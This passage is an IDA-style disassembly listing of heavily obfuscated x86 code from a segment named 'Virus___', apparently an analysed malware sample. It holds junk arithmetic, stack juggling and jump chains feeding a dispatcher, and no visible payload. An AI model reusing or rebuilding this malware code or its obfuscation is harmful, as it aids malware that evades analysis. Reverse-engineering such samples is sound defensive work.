		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	esi
		push	42180A65h
		pop	esi
		shr	esi, 8
		add	esi, 4999F1EDh
		push	esi
		jmp	loc_562A79
; ---------------------------------------------------------------------------


loc_55AA06:				; CODE XREF: Virus___:00554085j
		and	eax, 44781C16h
		add	eax, 4D5E39EDh
		add	eax, 0BEB33426h
		and	ebp, eax
		pop	eax
		xor	ebp, 4353A0Eh
		jmp	loc_562CF6
; ---------------------------------------------------------------------------


loc_55AA23:				; CODE XREF: Virus___:00553B41j
		push	edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 6206488Bh
		mov	edi, esi
		pop	esi
		shr	edi, 8
		neg	edi
		not	edi
		jmp	loc_563F2C
; ---------------------------------------------------------------------------


loc_55AA3E:				; CODE XREF: Virus___:0056126Ej
		sub	esi, edi
		pop	edi
		pop	eax
		xchg	esi, [esp]
		jmp	loc_551714
; ---------------------------------------------------------------------------


loc_55AA4A:				; CODE XREF: Virus___:00564A5Aj
		mov	esi, esp
		jmp	loc_5627D6
; ---------------------------------------------------------------------------


loc_55AA51:				; CODE XREF: Virus___:0055FA8Bj
		mov	ebx, 7FFD2E39h
		jmp	loc_55EE04
; ---------------------------------------------------------------------------


loc_55AA5B:				; CODE XREF: Virus___:0055AF59j
		mov	[esp], ebp
		mov	ebp, 630B6145h
		jmp	loc_553E51
; ---------------------------------------------------------------------------


loc_55AA68:				; CODE XREF: Virus___:0056304Fj
		push	edi
		jmp	loc_550CDA
; ---------------------------------------------------------------------------


loc_55AA6E:				; CODE XREF: Virus___:0055D372j
		push	ebp
		push	6FDh
		jmp	loc_55FB09
; ---------------------------------------------------------------------------


loc_55AA79:				; CODE XREF: Virus___:0055954Bj
		push	esi
		mov	esi, 464C1471h
		sub	ebp, 79434224h
		sub	ebp, esi
		add	ebp, 79434224h
		pop	esi
		add	ebp, eax
		add	ebp, 464C1471h
		pop	eax
		sub	eax, 11411216h
		jmp	loc_559F01
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_559AAF
; ---------------------------------------------------------------------------


loc_55AAAF:				; CODE XREF: Virus___:005534C3j
		xor	edi, 36865B79h
		xor	esi, edi
		pop	edi
		xor	ecx, esi
		push	dword ptr [esp]
		jmp	loc_552A78
; ---------------------------------------------------------------------------


loc_55AAC2:				; CODE XREF: Virus___:0055D4ACj
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55486D
; ---------------------------------------------------------------------------


loc_55AACB:				; CODE XREF: Virus___:005553FDj
		add	ebp, eax
		sub	ebp, 4C276224h
		jmp	loc_55FF62
; ---------------------------------------------------------------------------


loc_55AAD8:				; CODE XREF: Virus___:0055B7F1j
		mov	edi, 202931B1h
		add	edi, 77CD4CD2h
		push	esi
		mov	esi, 692F1885h
		add	edi, esi
		pop	esi
		shr	edi, 2
		add	edi, 30F4D573h
		mov	esi, edi
		pop	edi
		add	esi, 0FFFFFFFFh
		shl	esi, 2
		not	esi
		not	esi
		inc	esi
		push	ebp
		jmp	loc_556ED4
; ---------------------------------------------------------------------------


loc_55AB0C:				; CODE XREF: Virus___:005568B9j
		add	ecx, edx
		pop	edx
		jmp	loc_54FD62
; ---------------------------------------------------------------------------


loc_55AB14:				; CODE XREF: Virus___:00558916j
		pop	esi
		jmp	loc_55AFB7
; ---------------------------------------------------------------------------


loc_55AB1A:				; CODE XREF: Virus___:005565BAj
		add	edi, ebp
		push	dword ptr [esp]
		pop	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_554C50
; ---------------------------------------------------------------------------


loc_55AB3B:				; CODE XREF: Virus___:0055EDD4j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55B8BB
; ---------------------------------------------------------------------------


loc_55AB49:				; CODE XREF: Virus___:00564316j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5541F8
; ---------------------------------------------------------------------------


loc_55AB52:				; CODE XREF: Virus___:00560C9Fj
		add	edi, eax
		push	edx
		jmp	loc_55D736
; ---------------------------------------------------------------------------


loc_55AB5A:				; CODE XREF: Virus___:00557AE6j
		sub	eax, 0F559FA8Bh
		jmp	loc_564A7C
; ---------------------------------------------------------------------------


loc_55AB64:				; CODE XREF: Virus___:0055AF30j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5516B6
; ---------------------------------------------------------------------------


loc_55AB79:				; CODE XREF: Virus___:0055D633j
		pop	eax
		neg	ebx
		jmp	loc_5504B0
; ---------------------------------------------------------------------------


loc_55AB81:				; CODE XREF: Virus___:00560DA4j
		sub	esi, eax
		jmp	loc_55F914
; ---------------------------------------------------------------------------


loc_55AB88:				; CODE XREF: Virus___:00553AA6j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55BF03
; ---------------------------------------------------------------------------


loc_55AB96:				; CODE XREF: Virus___:00554835j
		movzx	ecx, ax
		jmp	loc_55C884
; ---------------------------------------------------------------------------


loc_55AB9E:				; CODE XREF: Virus___:00562A7Bj
		add	ecx, 4D14300h
		sub	ecx, eax
		sub	ecx, 4D14300h
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, 2E5F6DE4h
		inc	edx
		push	ebp
		mov	ebp, 17057B3Dh
		not	ebp
		and	ebp, 50E079F5h
		and	ebp, 50596202h
		push	ecx
		mov	ecx, 3BF4246Dh
		sub	ebp, ecx
		pop	ecx
		sub	ebp, 0EF1AD72Dh
		or	edx, ebp
		pop	ebp
		dec	edx
		shl	edx, 1
		and	edx, 7CB90CBEh
		push	esi
		mov	esi, 2D6046ADh
		jmp	loc_556637
; ---------------------------------------------------------------------------


loc_55ABF3:				; CODE XREF: Virus___:00554E54j
		pop	edx
		add	ebp, 0D3803C19h
		sub	edx, ebp
		pop	ebp
		sub	edx, 30215726h
		jmp	loc_556734
; ---------------------------------------------------------------------------


loc_55AC08:				; CODE XREF: Virus___:00555288j
		mov	[esp], edi
		push	19EBh
		push	esp
		pop	dword ptr [esp]
		push	2051h
		jmp	loc_553AAB
; ---------------------------------------------------------------------------


loc_55AC1E:				; CODE XREF: Virus___:005602F2j
		push	eax
		mov	ah, 50h
		shl	ah, 5
		dec	ah
		shl	ah, 3
		push	2640h
		mov	[esp], ecx
		jmp	loc_557D1F
; ---------------------------------------------------------------------------


loc_55AC36:				; CODE XREF: Virus___:0054FA05j
		add	esi, 7EFE01ECh
		pop	eax
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_562753
; ---------------------------------------------------------------------------


loc_55AC48:				; CODE XREF: Virus___:0055FB32j
		pop	esp
		mov	[esp], esp
		jmp	loc_55D174
; ---------------------------------------------------------------------------


loc_55AC51:				; CODE XREF: Virus___:00561B4Dj
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55AC56:				; CODE XREF: Virus___:00561FA9j
		sub	eax, ecx
		jmp	loc_55DF17
; ---------------------------------------------------------------------------


loc_55AC5D:				; CODE XREF: Virus___:0056315Ej
		pop	edi
		xor	edi, 5B132C57h
		shr	edi, 7
		add	edi, 1F0B030Fh
		push	edx
		mov	edx, 0
		sub	edx, edi
		xor	edi, edx
		xor	edx, edi
		jmp	loc_55103B
; ---------------------------------------------------------------------------


loc_55AC7E:				; CODE XREF: Virus___:00562B73j
		push	43A52A7Ah
		pop	ebx
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	eax, 38B87C23h
		inc	eax
		jmp	loc_55B332
; ---------------------------------------------------------------------------


loc_55AC97:				; CODE XREF: Virus___:005530D4j
		sub	ebx, ebp
		pop	ebp
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		push	ebp
		jmp	loc_5606FD
; ---------------------------------------------------------------------------


loc_55ACA8:				; CODE XREF: Virus___:00559742j
		push	edi
		mov	edi, 2
		add	ebx, 7A1D0785h
		add	ebx, edi
		sub	ebx, 7A1D0785h
		jmp	loc_55E95C
; ---------------------------------------------------------------------------


loc_55ACC1:				; CODE XREF: Virus___:0055F392j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_55D742
; ---------------------------------------------------------------------------


loc_55ACD5:				; CODE XREF: Virus___:00559603j
		push	eax
		mov	eax, 11724004h
		and	eax, 40C574CDh
		sub	eax, 0C26FA549h
		jmp	loc_562C4E
; ---------------------------------------------------------------------------


loc_55ACEA:				; CODE XREF: Virus___:00564B77j
		add	edi, 6629169Fh
		add	edi, 34A90157h
		pop	eax
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_563803
; ---------------------------------------------------------------------------


loc_55AD01:				; CODE XREF: Virus___:0055FD81j
		xchg	ecx, [esp]
		pop	esp
		xor	al, ch
		mov	ecx, [esp]
		push	edi
		jmp	loc_5621A9
; ---------------------------------------------------------------------------


loc_55AD10:				; CODE XREF: Virus___:00556D96j
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		pop	esp
		push	edi
		push	7752h
		mov	[esp], ebp
		push	ecx
		jmp	loc_552940
; ---------------------------------------------------------------------------


loc_55AD37:				; CODE XREF: Virus___:00560CCBj
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_560F3C
; ---------------------------------------------------------------------------


loc_55AD4A:				; CODE XREF: Virus___:00562574j
		mov	cl, 47h
		xor	cl, 19h
		sub	bl, cl
		pop	ecx
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5591DA
; ---------------------------------------------------------------------------


loc_55AD6D:				; CODE XREF: Virus___:00550132j
		sub	esp, 4
		mov	[esp], edx
		push	4
		jmp	loc_554D62
; ---------------------------------------------------------------------------


loc_55AD7D:				; CODE XREF: Virus___:0055DCEBj
		pop	ebp
		sub	esp, 4
		jmp	loc_552708
; ---------------------------------------------------------------------------


loc_55AD89:				; CODE XREF: Virus___:00550FBAj
		pop	esp
		jmp	loc_55336F
; ---------------------------------------------------------------------------


loc_55AD8F:				; CODE XREF: Virus___:0055C77Ej
		and	eax, ebp
		pop	ebp
		shr	eax, 18h
		xor	eax, ecx
		push	4F15h
		jmp	loc_561932
; ---------------------------------------------------------------------------


loc_55ADA1:				; CODE XREF: Virus___:0055B139j
		push	cx
		mov	ch, 8
		add	ch, 61h
		jmp	loc_561DBD
; ---------------------------------------------------------------------------


loc_55ADAD:				; CODE XREF: Virus___:0055F66Ej
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_557802
; ---------------------------------------------------------------------------


loc_55ADC5:				; CODE XREF: Virus___:0055A300j
		mov	edx, 7EAE52FCh
		mov	ebp, edx
		pop	edx
		jmp	loc_55F186
; ---------------------------------------------------------------------------


loc_55ADD2:				; CODE XREF: Virus___:0055C5A2j
		mov	eax, 63BE459Bh
		dec	eax
		add	eax, 1
		xor	eax, 327B55F8h
		shl	eax, 5
		shl	eax, 3
		xor	eax, 0C5106304h
		add	esi, 5BA66F07h
		add	esi, eax
		sub	esi, 5BA66F07h
		pop	eax
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_5516FD
; ---------------------------------------------------------------------------


loc_55AE0B:				; CODE XREF: Virus___:0055FB6Fj
		mov	ebp, 31167932h
		xchg	eax, ebp
		jmp	loc_554B2B
; ---------------------------------------------------------------------------


loc_55AE16:				; CODE XREF: Virus___:005529ABj
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_552CF5
; ---------------------------------------------------------------------------


loc_55AE24:				; CODE XREF: Virus___:00551659j
		push	47E8h
		mov	[esp], ecx
		jmp	loc_562FB7
; ---------------------------------------------------------------------------


loc_55AE31:				; CODE XREF: Virus___:00563907j
		mov	edx, 3D7C0BA3h
		shl	edx, 4
		dec	edx
		not	edx
		xor	edx, 684C0F97h
		jmp	loc_562984
; ---------------------------------------------------------------------------


loc_55AE47:				; CODE XREF: Virus___:0055FEB9j
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_55C05D
; ---------------------------------------------------------------------------


loc_55AE70:				; CODE XREF: Virus___:005514DCj
		add	ebx, 2B2304E6h
		sub	ebx, 235F145Bh
		sub	ebx, 20B9685Dh
		add	ebx, eax
		add	ebx, 20B9685Dh
		push	73F4h
		mov	[esp], edx
		jmp	loc_5563EC
; ---------------------------------------------------------------------------


loc_55AE97:				; CODE XREF: Virus___:0055F1E8j
		mov	ebx, 6B9A2E2Eh
		jmp	loc_560763
; ---------------------------------------------------------------------------


loc_55AEA1:				; CODE XREF: Virus___:00557E1Aj
		add	edx, edi
		add	edx, 36440939h
		jmp	loc_55F9F0
; ---------------------------------------------------------------------------


loc_55AEAE:				; CODE XREF: Virus___:00553BB5j
		pop	ebp
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_553293
; ---------------------------------------------------------------------------


loc_55AEC1:				; CODE XREF: Virus___:0055CF9Cj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 779B4835h
		shr	ebx, 7
		push	0
		jmp	loc_550F52
; ---------------------------------------------------------------------------


loc_55AEDC:				; CODE XREF: Virus___:00558E49j
		mov	ebx, 73AE43E9h
		sub	ebx, 4C1A17F8h
		neg	ebx
		xor	ebx, 0CE22A806h
		and	esi, ebx
		jmp	loc_558992
; ---------------------------------------------------------------------------


loc_55AEF6:				; CODE XREF: Virus___:0055C774j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55E82A
; ---------------------------------------------------------------------------


loc_55AF0D:				; CODE XREF: Virus___:0055F646j
		sub	eax, 3BC91689h
		sub	eax, edi
		jmp	loc_551D47
; ---------------------------------------------------------------------------


loc_55AF19:				; CODE XREF: Virus___:005559B5j
		sub	edi, 1174E6Ah
		pop	edx
		push	2BFAh
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		push	eax
		jmp	loc_55AB64
; ---------------------------------------------------------------------------


loc_55AF35:				; CODE XREF: Virus___:00553829j
		or	eax, 738D1186h
		and	eax, 26854E1Ch
		shr	eax, 2
		xor	eax, 9A14207h
		add	ecx, eax
		pop	eax
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_55AA5B
; ---------------------------------------------------------------------------


loc_55AF5E:				; CODE XREF: Virus___:0055BEE3j
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ecx
		jmp	loc_5532E3
; ---------------------------------------------------------------------------


loc_55AF77:				; CODE XREF: Virus___:00561FBAj
		add	eax, 64F6E78h
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 4
		jmp	loc_55F2A4
; ---------------------------------------------------------------------------


loc_55AF93:				; CODE XREF: Virus___:0055994Ej
		mov	[esp], ecx
		push	edx
		mov	edx, 2DCC3039h
		mov	ecx, edx
		mov	edx, [esp]
		push	eax
		jmp	loc_5626B9
; ---------------------------------------------------------------------------


loc_55AFA7:				; CODE XREF: Virus___:00558CEDj
		add	edi, edx
		pop	edx
		sub	edi, ebx
		sub	edi, 2CE51F1h
		jmp	loc_563BA5
; ---------------------------------------------------------------------------


loc_55AFB7:				; CODE XREF: Virus___:0055AB15j
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	70EAh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		push	ebx
		mov	ebx, 24B14D8h
		push	ecx
		mov	ecx, 24B14DCh
		xor	ebx, ecx
		pop	ecx
		add	esi, ebx
		pop	ebx
		jmp	loc_55217F
; ---------------------------------------------------------------------------


loc_55AFF0:				; CODE XREF: Virus___:00562F65j
		pop	edi
		mov	edi, ebp
		mov	ebp, [esp]
		jmp	loc_54FA1E
; ---------------------------------------------------------------------------


loc_55AFFB:				; CODE XREF: Virus___:00564A9Ej
		mov	bh, ch
		jmp	loc_55DDCC
; ---------------------------------------------------------------------------


loc_55B002:				; CODE XREF: Virus___:0055841Aj
		pop	eax
		jmp	loc_561FF3
; ---------------------------------------------------------------------------


loc_55B008:				; CODE XREF: Virus___:0055437Aj
		add	eax, 3DFD68A1h
		add	eax, 4C4E4968h
		pop	edx
		jmp	loc_55EEB4
; ---------------------------------------------------------------------------


loc_55B018:				; CODE XREF: Virus___:0056183Aj
		add	edx, 5D657282h
		jmp	loc_560FD0
; ---------------------------------------------------------------------------


loc_55B023:				; CODE XREF: Virus___:0055647Ej
		pop	esi
		add	edx, 9664B142h
		mov	ebx, edx
		jmp	loc_560E21
; ---------------------------------------------------------------------------


loc_55B031:				; CODE XREF: Virus___:0055883Cj
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		push	edx
		mov	edx, 2
		jmp	loc_556118
; ---------------------------------------------------------------------------


loc_55B044:				; CODE XREF: Virus___:00550EA6j
		mov	esp, [esp]
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55B050:				; CODE XREF: Virus___:00553F84j
		mov	ecx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	edx, 3D4255A3h
		add	edx, ecx
		sub	edx, 3D4255A3h
		mov	ecx, [esp]
		jmp	loc_55A374
; ---------------------------------------------------------------------------


loc_55B06F:				; CODE XREF: Virus___:0055D07Ej
		push	32812140h
		pop	ebp
		neg	ebp
		neg	ebp
		shr	ebp, 4
		sub	ebp, 0E1779FDDh
		jmp	loc_564290
; ---------------------------------------------------------------------------


loc_55B087:				; CODE XREF: Virus___:00561B0Dj
		sub	edi, 0ABD9FB33h
		jmp	loc_56390C
; ---------------------------------------------------------------------------


loc_55B092:				; CODE XREF: Virus___:00557DDBj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_555F81
; ---------------------------------------------------------------------------


loc_55B0A0:				; CODE XREF: Virus___:005585D4j
		push	4EE0h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_54FF4D
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp],	cl
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55B0C4:				; CODE XREF: Virus___:005533D8j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55DE72
; ---------------------------------------------------------------------------


loc_55B0D6:				; CODE XREF: Virus___:005623DAj
		xchg	eax, ebx
		jmp	loc_55DABE
; ---------------------------------------------------------------------------


loc_55B0DC:				; CODE XREF: Virus___:0054FCD3j
		add	esp, 4
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	edx
		push	ebx
		push	32446E15h
		pop	ebx
		jmp	loc_564AC4
; ---------------------------------------------------------------------------


loc_55B0FB:				; CODE XREF: Virus___:0055DDAEj
		push	0C2Bh
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 134B5D9Ah
		jmp	loc_55E581
; ---------------------------------------------------------------------------


loc_55B12D:				; CODE XREF: Virus___:0055F898j
		pop	eax
		xor	cl, 0BFh
		add	dh, cl
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55ADA1
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_54FAB9
; ---------------------------------------------------------------------------


loc_55B147:				; CODE XREF: Virus___:0055D468j
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5640F7
; ---------------------------------------------------------------------------


loc_55B150:				; CODE XREF: Virus___:0055F340j
		mov	[esp], eax
		mov	eax, 7299893Dh
		sub	esi, eax
		pop	eax
		sub	ebx, esi
		pop	esi
		add	ebx, 1EEB7139h
		jmp	loc_55A525
; ---------------------------------------------------------------------------


loc_55B169:				; CODE XREF: Virus___:00557C9Dj
		mov	eax, esp
		add	eax, 4
		push	532Dh
		mov	[esp], edi
		jmp	loc_55B9A0
; ---------------------------------------------------------------------------


loc_55B17D:				; CODE XREF: Virus___:0056009Aj
		add	dword ptr [esp], 4
		jmp	loc_564CE0
; ---------------------------------------------------------------------------


loc_55B189:				; CODE XREF: Virus___:00561CECj
		sub	edi, 34C818F7h
		or	ecx, edi
		pop	edi
		add	ecx, 769B27Eh
		xor	ecx, 54C87B5Dh
		push	edx
		mov	edx, 5FE6372Ch
		jmp	loc_55C61C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_56469E
; ---------------------------------------------------------------------------


loc_55B1B2:				; CODE XREF: Virus___:0054FAC5j
		push	esi
		push	esp
		pop	esi
		push	ebx
		mov	ebx, 23D82403h
		not	ebx
		shl	ebx, 4
		jmp	loc_55A40E
; ---------------------------------------------------------------------------


loc_55B1C5:				; CODE XREF: Virus___:005616F3j
		push	eax
		pop	ecx
		jmp	loc_562F98
; ---------------------------------------------------------------------------


loc_55B1CC:				; CODE XREF: Virus___:00558C56j
		xchg	edi, [esp]
		mov	esp, [esp]
		bt	[esp], eax
		pushf
		jmp	loc_5634E9
; ---------------------------------------------------------------------------


loc_55B1DC:				; CODE XREF: Virus___:00553998j
		push	ebp
		jmp	loc_5561BB
; ---------------------------------------------------------------------------


loc_55B1E2:				; CODE XREF: Virus___:00564802j
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		jmp	loc_564707
; ---------------------------------------------------------------------------


loc_55B1F5:				; CODE XREF: Virus___:0055363Ej
		pop	ebx
		jmp	loc_5509AC
; ---------------------------------------------------------------------------


loc_55B1FB:				; CODE XREF: Virus___:00550B3Bj
		add	ebp, 3F690494h
		xchg	eax, ebp
		not	eax
		xchg	eax, ebp
		jmp	loc_555380
; ---------------------------------------------------------------------------


loc_55B20A:				; CODE XREF: Virus___:0055DB30j
		shl	esi, 3
		sub	esi, 241C1E1Bh
		jmp	loc_551A2F
; ---------------------------------------------------------------------------


loc_55B218:				; CODE XREF: Virus___:005577C1j
		pop	eax
		sub	esp, 4
		jmp	loc_550121
; ---------------------------------------------------------------------------


loc_55B224:				; CODE XREF: Virus___:00552EA8j
		sub	al, 2Dh
		add	al, cl
		add	al, 2Dh
		push	7C35h
		mov	[esp], edx
		mov	dl, 0DAh
		add	al, 17h
		sub	al, dl
		sub	al, 17h
		push	dword ptr [esp]
		pop	edx
		push	ebx
		mov	ebx, esp
		push	10C3h
		mov	[esp], edx
		jmp	loc_560EFA
; ---------------------------------------------------------------------------


loc_55B24E:				; CODE XREF: Virus___:0055A2AAj
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55B25E:				; CODE XREF: Virus___:00560B61j
		push	ecx
		mov	ecx, 3CE24FF6h
		add	ecx, 6DFE00DAh
		inc	ecx
		shr	ecx, 5
		shr	ecx, 2
		xor	ecx, 73F0F376h
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		pop	dword ptr [ebx]
		jmp	loc_559E46
; ---------------------------------------------------------------------------


loc_55B28C:				; CODE XREF: Virus___:00560739j
		xor	edi, 76321EA8h
		add	edi, 41BB6669h
		jmp	loc_55439B
; ---------------------------------------------------------------------------


loc_55B29D:				; CODE XREF: Virus___:005613FEj
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	sp
		pop	small word ptr [esp]
		jmp	loc_55CBDF
; ---------------------------------------------------------------------------


loc_55B2B3:				; CODE XREF: Virus___:0056138Fj
		push	eax
		mov	eax, 75E64CDBh
		push	74B4h
		mov	[esp], esi
		mov	esi, 1A1A5AC9h
		jmp	loc_55E962
; ---------------------------------------------------------------------------


loc_55B2CB:				; CODE XREF: Virus___:00558686j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_55523C
; ---------------------------------------------------------------------------


loc_55B2DE:				; CODE XREF: Virus___:00564BB4j
		pop	edi
		jmp	loc_557B6A
; ---------------------------------------------------------------------------


loc_55B2E4:				; CODE XREF: Virus___:005505FEj
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55B2E9:				; CODE XREF: Virus___:0054FADAj
		or	ecx, 42355BFh
		add	ecx, 2BD08A03h
		mov	ebx, ecx
		jmp	loc_562B86
; ---------------------------------------------------------------------------


loc_55B2FC:				; CODE XREF: Virus___:00557B19j
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_564313
; ---------------------------------------------------------------------------


loc_55B311:				; CODE XREF: Virus___:00558F63j
		push	ax
		mov	ah, 94h
		xor	cl, ah
		pop	ax
		jmp	loc_55D84D
; ---------------------------------------------------------------------------


loc_55B31E:				; CODE XREF: Virus___:0055623Ej
		sub	edi, 1
		sub	edi, 3D1F2916h
		add	esi, edi
		pop	edi
		jmp	loc_5571E5
; ---------------------------------------------------------------------------


loc_55B332:				; CODE XREF: Virus___:0055AC92j
		push	ecx
		push	384C7F05h
		jmp	loc_556A6B
; ---------------------------------------------------------------------------


loc_55B33D:				; CODE XREF: Virus___:00551E5Bj
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 17030D97h
		neg	ebp
		shr	ebp, 6
		push	eax
		mov	eax, 14F51496h
		dec	eax
		and	eax, 7BC7FC9h
		not	eax
		jmp	loc_559FAD
; ---------------------------------------------------------------------------


loc_55B366:				; CODE XREF: Virus___:0055C923j
		pop	ecx
		pop	edx
		xor	ecx, 676A1B34h
		sub	ebx, ecx
		pop	ecx
		inc	ebx
		push	ebp
		push	44A834BBh
		pop	ebp
		jmp	loc_553CD3
; ---------------------------------------------------------------------------


loc_55B37E:				; CODE XREF: Virus___:00560035j
		and	dl, 16h
		jmp	loc_559DF0
; ---------------------------------------------------------------------------


loc_55B386:				; CODE XREF: Virus___:00560D27j
		not	ecx
		shr	ecx, 4
		dec	ecx
		shl	ecx, 7
		jmp	loc_561E57
; ---------------------------------------------------------------------------


loc_55B394:				; CODE XREF: Virus___:00551DB5j
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55B399:				; CODE XREF: Virus___:0055F09Cj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_5569D5
; ---------------------------------------------------------------------------


loc_55B3A7:				; CODE XREF: Virus___:0056030Dj
		mov	edi, esp
		add	edi, 4
		push	3106h
		mov	[esp], esi
		mov	esi, 6CBA3D87h
		jmp	loc_55E4CF
; ---------------------------------------------------------------------------


loc_55B3C1:				; CODE XREF: Virus___:0055EEA2j
		pop	ecx
		jmp	loc_560E43
; ---------------------------------------------------------------------------


loc_55B3C7:				; CODE XREF: Virus___:005612CEj
		add	esi, 4
		jmp	loc_5559C6
; ---------------------------------------------------------------------------


loc_55B3D2:				; CODE XREF: Virus___:0055F6FEj
		pop	eax
		sub	dword ptr [esp+4], 3DA72D4Ch
		jmp	loc_559D8F
; ---------------------------------------------------------------------------


loc_55B3E0:				; CODE XREF: Virus___:0055C75Aj
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55B3E5:				; CODE XREF: Virus___:0055DF34j
		add	ebx, eax
		sub	ebx, 77BD4C8Bh
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_54FF32
; ---------------------------------------------------------------------------


loc_55B3F9:				; CODE XREF: Virus___:0055D38Bj
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_55976C
; ---------------------------------------------------------------------------


loc_55B406:				; CODE XREF: Virus___:005603F8j
		pop	edi
		sub	edi, 7AAB413Bh
		mov	ebp, edi
		pop	edi
		push	ebx
		mov	ebx, 0DD4C96h
		push	ebx
		pop	edx
		pop	ebx
		sub	edx, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		and	eax, edx
		mov	edx, [esp]
		push	3DEBh
		mov	[esp], edx
		jmp	loc_554F3F
; ---------------------------------------------------------------------------


loc_55B43F:				; CODE XREF: Virus___:005617AAj
		add	esp, 4
		jmp	loc_5641D3
; ---------------------------------------------------------------------------


loc_55B44A:				; CODE XREF: Virus___:00556372j
		push	eax
		mov	al, dl
		jmp	loc_55A17B
; ---------------------------------------------------------------------------


loc_55B452:				; CODE XREF: Virus___:00550ABDj
		add	esp, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		push	3DF772B2h
		mov	ebx, [esp]
		push	ebx
		jmp	loc_559E2D
; ---------------------------------------------------------------------------


loc_55B470:				; CODE XREF: Virus___:0055D4DBj
		not	dword ptr [esp]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	4A80h
		mov	[esp], esp
		jmp	loc_561D79
; ---------------------------------------------------------------------------


loc_55B48C:				; CODE XREF: Virus___:005624E2j
